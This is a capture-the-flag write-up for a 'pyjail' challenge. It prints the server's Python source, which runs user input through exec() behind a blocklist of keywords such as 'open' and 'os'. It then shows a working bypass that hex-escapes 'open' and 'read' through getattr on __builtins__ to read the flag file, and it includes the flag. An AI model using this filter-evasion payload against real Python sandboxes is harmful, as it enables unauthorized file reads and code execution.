To start the challenge you have to connect:```nc prob.vulnerable.kr 20001```
Since you connect, it prints the source of the program running:```Hi! Welcome to pyjail!========================================================================#! /usr/bin/python3#-*- coding:utf-8 -*-def main():    print("Hi! Welcome to pyjail!")    print("========================================================================")    print(open(__file__).read())    print("========================================================================")    print("RUN")    text = input('>>> ')    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:        if keyword in text:            print("No!!!")            return;    else:        exec(text)if __name__ == "__main__":    main()========================================================================RUN>>> ```
Note that your string cannot contain any of the keywords `['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']`, so I first tried changing `__file__` to `/home/python_jail/flag` with the following:```getattr(main, '__globals__')['__file__'] = '/home/python_jail/flag' ; main()Hi! Welcome to pyjail!========================================================================Traceback (most recent call last):  File "/home/python_jail/python_jail.py", line 17, in <module>    main()  File "/home/python_jail/python_jail.py", line 15, in main    exec(text)  File "<string>", line 1, in <module>  File "/home/python_jail/python_jail.py", line 6, in main    print(open(__file__).read())  File "/usr/lib/python3.5/encodings/ascii.py", line 26, in decode    return codecs.ascii_decode(input, self.errors)[0]UnicodeDecodeError: 'ascii' codec can't decode byte 0xef in position 0: ordinal not in range(128)
```
Ok, we can't just change `__file__`, so let's run open[`"\x6f\x70\x65\x6e"`] from the `__builtins__` attribute and read[`"\x72\x65\x61\x64"`] the file:```>>> print(getattr(getattr(getattr(main, '__globals__')['__builtins__'], '\x6f\x70\x65\x6e')('/home/python_jail/flag', 'rb'), '\x72\x65\x61\x64')())b'\xef\xbb\xbfKorNewbie{H311o_h0w_@r3_y0u_d0lng?}'```